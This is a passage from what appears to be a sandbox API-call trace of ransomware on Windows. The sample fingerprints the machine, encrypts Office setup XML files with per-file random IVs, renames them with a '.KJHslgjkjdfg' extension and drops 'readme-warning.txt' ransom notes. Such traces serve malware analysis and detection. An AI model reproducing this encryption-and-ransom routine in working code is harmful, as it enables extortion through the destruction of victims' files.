lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0166.665] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0166.665] RegCloseKey (hKey=0x114) returned 0x0 [0166.666] GetProcessHeap () returned 0x990000 [0166.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0166.666] GetProcessHeap () returned 0x990000 [0166.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.666] GetProcessHeap () returned 0x990000 [0166.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.666] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0166.666] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.666] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0166.666] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.666] GetProcessHeap () returned 0x990000 [0166.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.666] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0166.666] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0166.666] GetProcessHeap () returned 0x990000 [0166.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0166.666] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\readme-warning.txt") returned 105 [0166.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0166.669] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0166.670] CloseHandle (hObject=0x114) returned 1 [0166.670] GetProcessHeap () returned 0x990000 [0166.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0166.670] GetProcessHeap () returned 0x990000 [0166.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0166.670] GetProcessHeap () returned 0x990000 [0166.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0166.670] GetProcessHeap () returned 0x990000 [0166.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0166.670] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0166.671] GetProcessHeap () returned 0x990000 [0166.671] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0166.671] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0166.671] GetProcessHeap () returned 0x990000 [0166.671] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc6) returned 0x9b2468 [0166.671] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0166.672] GetProcessHeap () returned 0x990000 [0166.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0166.672] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0166.672] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0166.672] GetProcessHeap () returned 0x990000 [0166.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c8) returned 0x9b7e10 [0166.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0166.673] GetProcessHeap () returned 0x990000 [0166.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0166.673] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0166.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0166.673] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0166.697] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.697] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.698] GetProcessHeap () returned 0x990000 [0166.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0166.698] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0166.698] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.698] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0166.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0166.698] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0166.698] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.698] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.699] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x978, lpOverlapped=0x0) returned 1 [0166.699] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x980, dwBufLen=0x980 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x980) returned 1 [0166.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.699] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x980, lpOverlapped=0x0) returned 1 [0166.699] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.699] SetEndOfFile (hFile=0x114) returned 1 [0166.702] GetProcessHeap () returned 0x990000 [0166.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0166.702] GetProcessHeap () returned 0x990000 [0166.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0166.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0166.703] CloseHandle (hObject=0x114) returned 1 [0166.703] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0166.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0166.703] GetProcessHeap () returned 0x990000 [0166.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0166.703] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0166.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0166.704] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0166.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.831] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.831] GetProcessHeap () returned 0x990000 [0166.831] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0166.831] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0166.831] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.831] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0166.831] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0166.832] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0166.832] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0166.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0166.832] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0166.832] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0166.832] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0166.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.832] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x708, lpOverlapped=0x0) returned 1 [0166.832] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x710, dwBufLen=0x710 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x710) returned 1 [0166.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.832] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x710, lpOverlapped=0x0) returned 1 [0166.833] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.833] SetEndOfFile (hFile=0x114) returned 1 [0166.835] GetProcessHeap () returned 0x990000 [0166.835] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0166.835] GetProcessHeap () returned 0x990000 [0166.835] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0166.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.kjhslgjkjdfg")) returned 1 [0166.836] CloseHandle (hObject=0x114) returned 1 [0166.836] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0166.836] GetProcessHeap () returned 0x990000 [0166.836] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0166.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.837] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0166.837] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.837] GetProcessHeap () returned 0x990000 [0166.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0166.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.837] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0166.837] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.837] GetProcessHeap () returned 0x990000 [0166.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0166.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.837] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0166.837] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.837] GetProcessHeap () returned 0x990000 [0166.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0166.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.837] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0166.837] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.837] GetProcessHeap () returned 0x990000 [0166.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.838] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0166.838] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.838] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0166.838] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0166.838] RegCloseKey (hKey=0x114) returned 0x0 [0166.838] GetProcessHeap () returned 0x990000 [0166.838] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0166.838] GetProcessHeap () returned 0x990000 [0166.838] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.838] GetProcessHeap () returned 0x990000 [0166.838] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.838] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0166.838] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0166.838] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0166.838] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0166.838] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.839] GetProcessHeap () returned 0x990000 [0166.839] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.839] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0166.839] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0166.839] GetProcessHeap () returned 0x990000 [0166.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0166.839] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\readme-warning.txt") returned 109 [0166.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0166.841] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0166.842] CloseHandle (hObject=0x114) returned 1 [0166.843] GetProcessHeap () returned 0x990000 [0166.843] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0166.843] GetProcessHeap () returned 0x990000 [0166.843] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0166.843] GetProcessHeap () returned 0x990000 [0166.843] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0166.843] 